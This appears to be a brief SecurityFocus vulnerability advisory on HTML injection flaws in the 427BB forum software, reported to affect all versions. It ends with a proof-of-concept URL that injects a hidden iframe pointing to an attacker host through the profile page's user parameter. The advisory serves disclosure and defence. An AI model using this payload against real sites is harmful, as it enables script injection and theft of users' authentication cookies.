source: http://www.securityfocus.com/bid/12693/info

427BB is reportedly affected by multiple remote HTML injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect all versions of 427BB. 

http://www.example.com/profile.php?user=%3Ciframe%20src=http://www.attacker.com%20height=1%20width=1%3E%3C/iframe%3E